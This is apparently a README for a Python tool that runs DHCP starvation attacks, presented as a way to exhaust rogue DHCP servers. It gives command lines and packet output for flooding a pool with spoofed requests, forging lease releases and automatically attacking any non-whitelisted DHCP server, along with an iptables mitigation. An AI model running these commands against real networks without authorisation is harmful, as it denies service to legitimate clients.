This is a Python program that can run out an entire DHCP pool. pyDHCPStarvator was not created for doing network attacks but like a way to exaust a DHCP Rogue pool when security-port and dhcp-snoop features are not available in your wired or wireless network equipments.
apt install python3-dev python3-pip pip3 install scapy pip3 install netaddr
It was migrated from python2 to python3, if you need a runnable python2 version you can use the branch named python2.
usage: starvit.py [-h] -i I -net NET [-start N] [-end N] [-rep N] [-server_id SERVER_ID] [-random_hostnames] [-dst_mac DST_MAC] [-timeout TIMEOUT] [-debug] optional arguments: -h, --help show this help message and exit -i I local network interface -net NET /24 subnet, example: -subnet 192.168.27.0/24 -start N start ip to request -end N how many request will be done -rep N repetition, sometime packet get lost. Default: 3 requests per ip -server_id SERVER_ID DHCP server id, example: 192.168.27.254 -random_hostnames random client hostnames, othrewise client's hostname will be: ? -dst_mac DST_MAC Destination DHCP MAC address, default: ff:ff:ff:ff:ff:ff -timeout TIMEOUT seconds to wait between a request and another. example -timeout 0.2 -debug print packets
# starvation on entire network class sudo python3 starvit.py -i eth2 -net 192.168.0.0/16 -dst_mac 08:00:27:7c:f9:41 -t 0.05 # starvation on selected ip range sudo python3 starvit.py -i eth2 -net 192.168.1.0/24 -start 92 -end 100 -dst_mac 08:00:27:7c:f9:41 # just add a server_id as a specific target sudo python3 starvit.py -net 192.168.1.0/24 -start 10 -end 253 -server_id 192.168.27.254 # specify server by its MAC address and print packets to stdout sudo python3 starvit.py -net 192.168.1.0/24 -start 80 -end 100 -dst_mac 08:00:27:7C:F9:41 -debug
Requesting: 192.168.1.98 <Ether dst=08:00:27:7C:F9:41 src=7b:7b:d1:5a:6b:62 type=IPv4 |<IP frag=0 proto=udp src=0.0.0.0 dst=255.255.255.255 |<UDP sport=bootpc dport=bootps |<BOOTP chaddr=<RandMAC> options='c\x82Sc' |<DHCP options=[message-type='request' requested_addr=192.168.1.98 end] |>>>>> . Sent 1 packets.
These options focus the attack on a specified endpoint, the DHCP server, by ip or mac address.
If you using a wrong server_id value all the DHCP servers in the l2 broadcast will get something similar in their logs and will not release any ip from their pool.
Wed May 16 17:31:35 2018 daemon.info dnsmasq-dhcp: DHCPNAK(br-lan) 192.168.27.135 30:63:3a:33:38:3a wrong server-ID
Usefull if you want to force a DHCP server to remove a DHCP lease and then make a client to request an ip again
python3 release_ip.py -src_mac 66:36:3a:37:31:3a -src_ip 192.168.1.93 -dst_mac 08:00:27:7C:F9:41 -dst_ip 192.168.1.1 -debug 1
A listener could also be executed to run a function callback for every packet sniffed. For example we could send a gratuitous DHCP DISCOVER and listen for DHCP OFFER from rogue DHCP servers.
# DHCP DISCOVER python3 dhcp_discover.py -i eth2 # DHCP event listener python3 listener.py -i eth2 [-debug] Start DHCP listener on interface 'eth2' with filter 'port 68 and port 67' DHCP OFFER from: 10.21.0.254 [d4:ca:6d:e6:6a:d7] DHCP OFFER from: 192.168.1.1 [08:00:27:7c:f9:41] DHCP OFFER from: 192.168.1.1 [08:00:27:7c:f9:41]
listener.py can also be runned in starvation attack mode (subprocess). If a DHCP-OFFER has been sniffed it will automatically starvate that DHCP. It can also whitelists one or more DHCP and attack only the ROGUE DHCP.
In this example 10.21.0.254 is whitelisted, attack will only run against 192.168.1.1.
python3 listener.py -i eth2 -starvation-attack -starvation-exclude d4:ca:6d:e6:6a:d7 Start DHCP listener on interface 'eth2' with filter 'port 68 and port 67' DHCP OFFER from: 10.21.0.254 [d4:ca:6d:e6:6a:d7] DHCP OFFER from: 192.168.1.1 [08:00:27:7c:f9:41] starting starvation on 08:00:27:7c:f9:41, 192.168.1.1/24 ** python3 starvit.py -i eth2 -net 192.168.1.1/24 -dst_mac 08:00:27:7c:f9:41 DHCP OFFER from: 192.168.1.1 [08:00:27:7c:f9:41] starting starvation on 08:00:27:7c:f9:41, 192.168.1.1/24 ** python3 starvit.py -i eth2 -net 192.168.1.1/24 -dst_mac 08:00:27:7c:f9:41
To solicitate DHCP-OFFER we craft DHCP-REQUEST packets
python2 dhcp_discover.py -i eth2 #or nmap --script broadcast-dhcp-discover -e eth0
An OpenWRT DHCP server used as victim. Some fake client requests was forged with "-random_hostnames" option, some other not.
Server side effects of DHCP Discovery, dhcp_discover.py will always use a fake mac address to run its inspections.
# tcpdump activity sniffing tcpdump -i $ifname -n 'port 67 and port 68' # dhcp discover nmap --script broadcast-dhcp-discover -e eth0
# dhcp leases flush # openwrt echo "" > /tmp/dhcp.leases # debian echo "" > /var/lib/dhcp3/dhcp.leases
As previosly described a DHCP starvation is commonly prevented with:
If any of these are not available remember that GNU/Linux as router is a good solution. This example could be used with iptables:
# 67 server, 68 client IPTABLES -I OUTPUT -i $LAN_IFACE -p udp --sport 67 -m mac ! --mac-source $YOUR_DHCP_MAC -j DROP
Another homemade solution would be to arping every dhcp request src and, if any response come back, remove that DHCP lease from DHCP server (see previous chapter). A FOR loop on every dhcp.leases file's row could execute an arping to check the real existence of a client, if it will be negative: that row should be removed and the dhcp lease released.
DHCPStarvator is made by Giuseppe De Marco and it's released under the GPL 3 license.
To Daniele Albrizio for given a name to an idea ;)